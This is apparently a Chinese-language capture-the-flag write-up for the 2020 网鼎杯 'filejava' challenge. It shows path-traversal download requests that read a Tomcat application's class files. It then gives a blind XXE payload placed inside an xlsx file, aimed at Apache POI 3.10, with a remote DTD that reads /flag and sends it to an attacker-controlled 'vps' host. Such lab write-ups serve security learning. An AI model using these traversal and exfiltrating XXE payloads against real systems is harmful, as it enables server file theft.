[网鼎杯 2020 青龙组]filejava

上传文件过后对下载文件进行抓包发现存在任意文件读取

image-20240616170911280

尝试读取flag发现禁止读取

将web.xml下的类都读取一遍看看

1
2
3
4
5
6
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

image-20240616171424178

发现文件里会对excel文件进行特殊处理

在UploadServlet中,使用poi3.10对xlsx文件进行解析,该版本poi存在XXE。当上传文件以execel-开头,并且是xlsx后缀时,使用poi解析xlsx文件并打印第一个sheet的第一个有效行行号。

.先新建一个excel-1.xlsx文件,再改后缀为zip,解压缩,对文件夹里面的[Content_Types].xml进行修改,修改完后再压缩成zip,改后缀为xlsx。(别忘了把后缀改回来,唉。。。因为没改回来我tm(

在第二行添加

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://vps/1.dtd">
%remote;%int;%send;
]>

image-20240616175019182

建一个dtd文件放到vps

1
2
3
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://vps:9999?p=%file;'>">

vps起个服务

1
python3 -m http .server 89

上传xlsx就好了